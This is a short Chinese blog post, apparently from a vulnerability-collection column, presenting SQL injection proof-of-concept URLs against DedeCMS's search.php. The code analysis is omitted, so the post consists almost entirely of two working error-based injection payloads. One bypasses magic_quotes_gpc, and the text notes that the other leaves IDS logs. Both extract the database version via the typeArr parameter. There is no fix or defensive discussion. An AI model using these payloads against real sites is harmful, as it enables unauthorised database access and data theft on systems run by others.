dedecms最新注入分析（可过gpc）

最新推荐文章于 2021-03-27 19:22:17 发布

7禧

最新推荐文章于 2021-03-27 19:22:17 发布

阅读量516

点赞数

漏洞收集专栏收录该内容

207 篇文章 3 订阅

订阅专栏

Author：唐门三少

代码分析省略。
PoC利用
在开启gpc的情况下

 
    1 http://target/plus/search.php?typeArr[1%20or%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20@`'`]=11&&kwtype=0&q=1111&searchtype=title

在未开启gpc的情况下,虽然利用成功，但是在后面searchview的SQL语句检测中，会被mysqlids检测到，留下日志。

 
    1 http://target/plus/search.php?typeArr[2'%20and%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20']=c4&kwtype=0&q=c4rp3nt3r&searchtype=title